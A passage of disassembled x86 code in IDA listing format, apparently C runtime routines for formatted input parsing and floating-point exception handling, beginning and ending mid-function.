or [eax], bl inc edx dec esi jnz short loc_421377 loc_42138F: ; CODE XREF: sub_420DB0+5BCj xor dl, dl jmp short loc_421347 ; --------------------------------------------------------------------------- loc_421393: ; CODE XREF: sub_420DB0+5A0j ; sub_420DB0+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_421347 ; --------------------------------------------------------------------------- loc_4213AC: ; CODE XREF: sub_420DB0+59Bj cmp byte ptr [edi], 0 jz loc_4217B6 cmp [ebp+var_3C], 7Bh jnz short loc_4213BE mov [ebp+arg_4], edi loc_4213BE: ; CODE XREF: sub_420DB0+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_421826 pop ecx pop ecx loc_4213D5: ; CODE XREF: sub_420DB0+6BCj ; sub_420DB0+6C4j cmp [ebp+var_20], 0 jz short loc_4213E9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_421485 loc_4213E9: ; CODE XREF: sub_420DB0+629j inc [ebp+var_4] push edi call sub_42180C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_421479 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_421479 cmp [ebp+var_E], 0 jnz short loc_421471 cmp [ebp+var_16], 0 jz short loc_421466 mov ecx, off_43CE78 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_421445 inc [ebp+var_4] push edi call sub_42180C pop ecx mov [ebp+var_37], al loc_421445: ; CODE XREF: sub_420DB0+686j push dword_43D084 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_4246CB mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_421469 ; --------------------------------------------------------------------------- loc_421466: ; CODE XREF: sub_420DB0+673j mov [esi], al inc esi loc_421469: ; CODE XREF: sub_420DB0+6B4j mov [ebp+var_2C], esi jmp loc_4213D5 ; --------------------------------------------------------------------------- loc_421471: ; CODE XREF: sub_420DB0+66Dj inc [ebp+var_30] jmp loc_4213D5 ; --------------------------------------------------------------------------- loc_421479: ; CODE XREF: sub_420DB0+649j ; sub_420DB0+667j dec [ebp+var_4] push edi push eax call sub_421826 pop ecx pop ecx loc_421485: ; CODE XREF: sub_420DB0+633j cmp [ebp+var_30], esi jz loc_4217B6 cmp [ebp+var_E], 0 jnz loc_421717 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_421717 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_4214B7 and word ptr [eax], 0 jmp loc_421717 ; --------------------------------------------------------------------------- loc_4214B7: ; CODE XREF: sub_420DB0+6FCj and byte ptr [eax], 0 jmp loc_421717 ; --------------------------------------------------------------------------- loc_4214BF: ; CODE XREF: sub_420DB0+466j mov [ebp+var_D], 1 loc_4214C3: ; CODE XREF: sub_420DB0+203j ; sub_420DB0+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_4214D1 mov [ebp+var_17], 1 jmp short loc_4214D6 ; --------------------------------------------------------------------------- loc_4214D1: ; CODE XREF: sub_420DB0+719j cmp ebx, 2Bh jnz short loc_4214F8 loc_4214D6: ; CODE XREF: sub_420DB0+71Fj dec [ebp+var_C] jnz short loc_4214E7 cmp [ebp+var_20], 0 jz short loc_4214E7 mov [ebp+var_F], 1 jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214E7: ; CODE XREF: sub_420DB0+729j ; sub_420DB0+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_42180C pop ecx mov ebx, eax loc_4214F5: ; CODE XREF: sub_420DB0+543j mov [ebp+var_14], ebx loc_4214F8: ; CODE XREF: sub_420DB0+4FDj ; sub_420DB0+52Dj ... cmp [ebp+var_30], 0 jz loc_421611 cmp [ebp+var_F], 0 jnz loc_4215EF loc_42150C: ; CODE XREF: sub_420DB0+82Cj cmp esi, 78h jnz short loc_421560 cmp dword_43D084, 1 jle short loc_421529 push 80h push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421536 ; --------------------------------------------------------------------------- loc_421529: ; CODE XREF: sub_420DB0+768j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 80h loc_421536: ; CODE XREF: sub_420DB0+777j test eax, eax jz loc_4215E1 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_4247A0 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_4217D5 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4215B3 ; --------------------------------------------------------------------------- loc_421560: ; CODE XREF: sub_420DB0+75Fj cmp dword_43D084, 1 jle short loc_421575 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421580 ; --------------------------------------------------------------------------- loc_421575: ; CODE XREF: sub_420DB0+7B7j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_421580: ; CODE XREF: sub_420DB0+7C3j test eax, eax jz short loc_4215E1 cmp esi, 6Fh jnz short loc_42159E cmp ebx, 38h jge short loc_4215E1 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_4247A0 jmp short loc_4215AD ; --------------------------------------------------------------------------- loc_42159E: ; CODE XREF: sub_420DB0+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41DB20 loc_4215AD: ; CODE XREF: sub_420DB0+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_4215B3: ; CODE XREF: sub_420DB0+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_4215CB dec [ebp+var_C] jz short loc_4215EF loc_4215CB: ; CODE XREF: sub_420DB0+814j push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_42150C ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_420DB0+788j ; sub_420DB0+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421826 pop ecx pop ecx loc_4215EF: ; CODE XREF: sub_420DB0+756j ; sub_420DB0+819j cmp [ebp+var_17], 0 jz loc_4216D5 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_4216D5 ; --------------------------------------------------------------------------- loc_421611: ; CODE XREF: sub_420DB0+74Cj cmp [ebp+var_F], 0 jnz loc_4216CD loc_42161B: ; CODE XREF: sub_420DB0+90Aj cmp esi, 78h jz short loc_42165F cmp esi, 70h jz short loc_42165F cmp dword_43D084, 1 jle short loc_42163A push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421645 ; --------------------------------------------------------------------------- loc_42163A: ; CODE XREF: sub_420DB0+87Cj mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_421645: ; CODE XREF: sub_420DB0+888j test eax, eax jz short loc_4216BF cmp esi, 6Fh jnz short loc_421658 cmp ebx, 38h jge short loc_4216BF shl edi, 3 jmp short loc_421697 ; --------------------------------------------------------------------------- loc_421658: ; CODE XREF: sub_420DB0+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_421697 ; --------------------------------------------------------------------------- loc_42165F: ; CODE XREF: sub_420DB0+86Ej ; sub_420DB0+873j cmp dword_43D084, 1 jle short loc_421677 push 80h push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421684 ; --------------------------------------------------------------------------- loc_421677: ; CODE XREF: sub_420DB0+8B6j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 80h loc_421684: ; CODE XREF: sub_420DB0+8C5j test eax, eax jz short loc_4216BF push ebx shl edi, 4 call sub_4217D5 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_421697: ; CODE XREF: sub_420DB0+8A6j ; sub_420DB0+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_4216A9 dec [ebp+var_C] jz short loc_4216CD loc_4216A9: ; CODE XREF: sub_420DB0+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_42161B ; --------------------------------------------------------------------------- loc_4216BF: ; CODE XREF: sub_420DB0+897j ; sub_420DB0+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421826 pop ecx pop ecx loc_4216CD: ; CODE XREF: sub_420DB0+865j ; sub_420DB0+8F7j cmp [ebp+var_17], 0 jz short loc_4216D5 neg edi loc_4216D5: ; CODE XREF: sub_420DB0+843j ; sub_420DB0+85Cj ... cmp esi, 46h jnz short loc_4216DE and [ebp+var_1C], 0 loc_4216DE: ; CODE XREF: sub_420DB0+928j cmp [ebp+var_1C], 0 jz loc_4217B6 cmp [ebp+var_E], 0 jnz short loc_421717 inc [ebp+var_34] loc_4216F1: ; CODE XREF: sub_420DB0+23Bj cmp [ebp+var_30], 0 jz short loc_421707 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_421717 ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_420DB0+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_421714 mov [eax], edi jmp short loc_421717 ; --------------------------------------------------------------------------- loc_421714: ; CODE XREF: sub_420DB0+95Ej mov [eax], di loc_421717: ; CODE XREF: sub_420DB0+241j ; sub_420DB0+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_421764 ; --------------------------------------------------------------------------- loc_421722: ; CODE XREF: sub_420DB0+93j inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_421791 mov ecx, off_43CE78 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_421764 inc [ebp+var_4] push edi call sub_42180C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_42179F dec [ebp+var_4] loc_421764: ; CODE XREF: sub_420DB0+970j ; sub_420DB0+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_42177A cmp byte ptr [esi], 25h jnz short loc_4217BC mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_4217BC mov esi, eax loc_42177A: ; CODE XREF: sub_420DB0+9B8j mov al, [esi] test al, al jnz loc_420DDA jmp short loc_4217B6 ; --------------------------------------------------------------------------- loc_421786: ; CODE XREF: sub_420DB0+1F4j ; sub_420DB0+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_421796 ; --------------------------------------------------------------------------- loc_421791: ; CODE XREF: sub_420DB0+98Aj dec [ebp+var_4] push edi push ebx loc_421796: ; CODE XREF: sub_420DB0+9DFj call sub_421826 pop ecx pop ecx jmp short loc_4217B6 ; --------------------------------------------------------------------------- loc_42179F: ; CODE XREF: sub_420DB0+9AFj dec [ebp+var_4] push edi push eax call sub_421826 dec [ebp+var_4] push edi push ebx call sub_421826 add esp, 10h loc_4217B6: ; CODE XREF: sub_420DB0+1Fj ; sub_420DB0+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_4217CD loc_4217BC: ; CODE XREF: sub_420DB0+9BDj ; sub_420DB0+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_4217D0 cmp [ebp+var_15], al jnz short loc_4217D0 or eax, 0FFFFFFFFh jmp short loc_4217D0 ; --------------------------------------------------------------------------- loc_4217CD: ; CODE XREF: sub_420DB0+A0Aj mov eax, [ebp+var_34] loc_4217D0: ; CODE XREF: sub_420DB0+A11j ; sub_420DB0+A16j ... pop edi pop esi pop ebx leave retn sub_420DB0 endp ; =============== S U B R O U T I N E ======================================= sub_4217D5 proc near ; CODE XREF: sub_420DB0+7A3p ; sub_420DB0+8DCp arg_0 = dword ptr 4 cmp dword_43D084, 1 push esi jle short loc_4217EF mov esi, [esp+4+arg_0] push 4 push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_4217FE ; --------------------------------------------------------------------------- loc_4217EF: ; CODE XREF: sub_4217D5+8j mov esi, [esp+4+arg_0] mov eax, off_43CE78 mov al, [eax+esi*2] and eax, 4 loc_4217FE: ; CODE XREF: sub_4217D5+18j test eax, eax jnz short loc_421808 and esi, 0FFFFFFDFh sub esi, 7 loc_421808: ; CODE XREF: sub_4217D5+2Bj mov eax, esi pop esi retn sub_4217D5 endp ; =============== S U B R O U T I N E ======================================= sub_42180C proc near ; CODE XREF: sub_420DB0+1E1p ; sub_420DB0+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_42181E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_42181E: ; CODE XREF: sub_42180C+7j push edx call sub_41F8E3 pop ecx retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421826 proc near ; CODE XREF: sub_420DB0+6Bp ; sub_420DB0+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_42183C push [esp+arg_4] push [esp+4+arg_0] call sub_4247BF pop ecx pop ecx locret_42183C: ; CODE XREF: sub_421826+5j retn sub_421826 endp ; =============== S U B R O U T I N E ======================================= sub_42183D proc near ; CODE XREF: sub_420DB0+63p ; sub_420DB0+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_421843: ; CODE XREF: sub_42183D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_42180C mov edi, eax push edi call sub_41DF10 pop ecx test eax, eax pop ecx jnz short loc_421843 mov eax, edi pop edi pop esi retn sub_42183D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_421861(int,int,double,int) sub_421861 proc near ; CODE XREF: sub_41D055+51p ; sub_41D19B+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43D7F0, 0 jnz short loc_421896 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421E16 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_421896: ; CODE XREF: sub_421861+Aj push 0FFFFh mov dword_4DBDDC, 21h push [ebp+arg_C] call sub_422089 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_421861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4218B4(int,int,double,double,int) sub_4218B4 proc near ; CODE XREF: sub_41D055:loc_41D118p ; sub_41D19B:loc_41D25Ep var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_421BFF add esp, 0Ch test eax, eax jnz short loc_4218F2 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_42194C add esp, 18h loc_4218F2: ; CODE XREF: sub_4218B4+1Aj push [ebp+arg_0] call sub_421EE9 cmp dword_43D7F0, 0 pop ecx jnz short loc_421930 test eax, eax jz short loc_421930 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421E16 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421930: ; CODE XREF: sub_4218B4+4Ej ; sub_4218B4+52j push eax call sub_421E9E mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_422089 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_4218B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42194C proc near ; CODE XREF: sub_4218B4+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_42197E mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_42197E: ; CODE XREF: sub_42194C+23j test cl, 2 jz short loc_421991 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_421991: ; CODE XREF: sub_42194C+35j test cl, bl jz short loc_4219A3 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_4219A3: ; CODE XREF: sub_42194C+47j test cl, 4 jz short loc_4219B6 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_4219B6: ; CODE XREF: sub_42194C+5Aj test cl, 8 jz short loc_4219C9 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_4219C9: ; CODE XREF: sub_42194C+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_42206C test al, bl jz short loc_421A52 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_421A52: ; CODE XREF: sub_42194C+FDj test al, 4 jz short loc_421A5D mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_421A5D: ; CODE XREF: sub_42194C+108j test al, 8 jz short loc_421A68 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_421A68: ; CODE XREF: sub_42194C+113j test al, 10h jz short loc_421A72 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_421A72: ; CODE XREF: sub_42194C+11Ej test al, 20h jz short loc_421A7C mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_421A7C: ; CODE XREF: sub_42194C+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_421ABB cmp eax, 400h jz short loc_421AAD cmp eax, 800h jz short loc_421AA1 cmp eax, ecx jnz short loc_421AC1 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421AC1 ; --------------------------------------------------------------------------- loc_421AA1: ; CODE XREF: sub_42194C+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421AB7 ; --------------------------------------------------------------------------- loc_421AAD: ; CODE XREF: sub_42194C+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421AB7: ; CODE XREF: sub_42194C+15Fj mov [eax], ecx jmp short loc_421AC1 ; --------------------------------------------------------------------------- loc_421ABB: ; CODE XREF: sub_42194C+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421AC1: ; CODE XREF: sub_42194C+14Bj ; sub_42194C+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_421AEC cmp eax, 200h jz short loc_421ADF cmp eax, ecx jnz short loc_421AF9 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421AF9 ; --------------------------------------------------------------------------- loc_421ADF: ; CODE XREF: sub_42194C+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421AF7 ; --------------------------------------------------------------------------- loc_421AEC: ; CODE XREF: sub_42194C+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421AF7: ; CODE XREF: sub_42194C+19Ej mov [eax], ecx loc_421AF9: ; CODE XREF: sub_42194C+189j ; sub_42194C+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_42207A lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 26703BAh mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_421B73 and dword ptr [esi], 0FFFFFFFEh loc_421B73: ; CODE XREF: sub_42194C+222j test byte ptr [eax+8], 8 jz short loc_421B7C and dword ptr [esi], 0FFFFFFFBh loc_421B7C: ; CODE XREF: sub_42194C+22Bj test byte ptr [eax+8], 4 jz short loc_421B85 and dword ptr [esi], 0FFFFFFF7h loc_421B85: ; CODE XREF: sub_42194C+234j test byte ptr [eax+8], 2 jz short loc_421B8E and dword ptr [esi], 0FFFFFFEFh loc_421B8E: ; CODE XREF: sub_42194C+23Dj test [eax+8], bl jz short loc_421B96 and dword ptr [esi], 0FFFFFFDFh loc_421B96: ; CODE XREF: sub_42194C+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_421BCA dec ecx jz short loc_421BBE dec ecx jz short loc_421BB4 dec ecx jnz short loc_421BCC or byte ptr [esi+1], 0Ch jmp short loc_421BCC ; --------------------------------------------------------------------------- loc_421BB4: ; CODE XREF: sub_42194C+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421BC6 ; --------------------------------------------------------------------------- loc_421BBE: ; CODE XREF: sub_42194C+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421BC6: ; CODE XREF: sub_42194C+270j mov [esi], ecx jmp short loc_421BCC ; --------------------------------------------------------------------------- loc_421BCA: ; CODE XREF: sub_42194C+257j and [esi], edx loc_421BCC: ; CODE XREF: sub_42194C+260j ; sub_42194C+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_421BEC dec ecx jz short loc_421BE3 dec ecx jnz short loc_421BF5 and [esi], edx jmp short loc_421BF5 ; --------------------------------------------------------------------------- loc_421BE3: ; CODE XREF: sub_42194C+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421BF3 ; --------------------------------------------------------------------------- loc_421BEC: ; CODE XREF: sub_42194C+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421BF3: ; CODE XREF: sub_42194C+29Ej mov [esi], ecx loc_421BF5: ; CODE XREF: sub_42194C+291j ; sub_42194C+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_42194C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BFF proc near ; CODE XREF: sub_4218B4+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_421C2A test byte ptr [ebp+arg_8], bl jz short loc_421C2A push ebx call sub_4220AC pop ecx and edi, 0FFFFFFF7h jmp loc_421DF4 ; --------------------------------------------------------------------------- loc_421C2A: ; CODE XREF: sub_421BFF+15j ; sub_421BFF+1Aj test al, 4 jz short loc_421C44 test byte ptr [ebp+arg_8], 4 jz short loc_421C44 push 4 call sub_4220AC pop ecx and edi, 0FFFFFFFBh jmp loc_421DF4 ; --------------------------------------------------------------------------- loc_421C44: ; CODE XREF: sub_421BFF+2Dj ; sub_421BFF+33j test al, bl jz loc_421D1E test byte ptr [ebp+arg_8], 8 jz loc_421D1E push 8 call sub_4220AC pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421CF6 cmp ecx, 400h jz short loc_421CCE cmp ecx, 800h jz short loc_421CA6 cmp ecx, eax jnz loc_421D16 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fld dbl_43D3F0 fnstsw ax sahf ja short loc_421C9E fchs loc_421C9E: ; CODE XREF: sub_421BFF+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421D14 ; --------------------------------------------------------------------------- loc_421CA6: ; CODE XREF: sub_421BFF+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fnstsw ax sahf jbe short loc_421CBE fld dbl_43D3E0 jmp short loc_421CC6 ; --------------------------------------------------------------------------- loc_421CBE: ; CODE XREF: sub_421BFF+B5j fld dbl_43D3F0 fchs loc_421CC6: ; CODE XREF: sub_421BFF+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421D14 ; --------------------------------------------------------------------------- loc_421CCE: ; CODE XREF: sub_421BFF+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fnstsw ax sahf jbe short loc_421CE6 fld dbl_43D3F0 jmp short loc_421CEE ; --------------------------------------------------------------------------- loc_421CE6: ; CODE XREF: sub_421BFF+DDj fld dbl_43D3E0 fchs loc_421CEE: ; CODE XREF: sub_421BFF+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421D14 ; --------------------------------------------------------------------------- loc_421CF6: ; CODE XREF: sub_421BFF+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fld dbl_43D3E0 fnstsw ax sahf ja short loc_421D0E fchs loc_421D0E: ; CODE XREF: sub_421BFF+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421D14: ; CODE XREF: sub_421BFF+A5j ; sub_421BFF+CDj ... fstp qword ptr [ecx] loc_421D16: ; CODE XREF: sub_421BFF+81j and edi, 0FFFFFFFEh jmp loc_421DF4 ; --------------------------------------------------------------------------- loc_421D1E: ; CODE XREF: sub_421BFF+47j ; sub_421BFF+51j test al, 2 jz loc_421DF4 test byte ptr [ebp+arg_8], 10h jz loc_421DF4 push esi xor esi, esi test al, 10h jz short loc_421D39 mov esi, ebx loc_421D39: ; CODE XREF: sub_421BFF+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427860 fnstsw ax sahf jz loc_421DE2 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_421FAB mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_421D84 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421DD8 ; --------------------------------------------------------------------------- loc_421D84: ; CODE XREF: sub_421BFF+17Aj fld [ebp+var_C] fcomp dbl_427860 fnstsw ax sahf jnb short loc_421D96 mov edx, ebx jmp short loc_421D98 ; --------------------------------------------------------------------------- loc_421D96: ; CODE XREF: sub_421BFF+191j xor edx, edx loc_421D98: ; CODE XREF: sub_421BFF+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_421DCC sub eax, ecx loc_421DAF: ; CODE XREF: sub_421BFF+1CBj test byte ptr [ebp+var_C], bl jz short loc_421DBA test esi, esi jnz 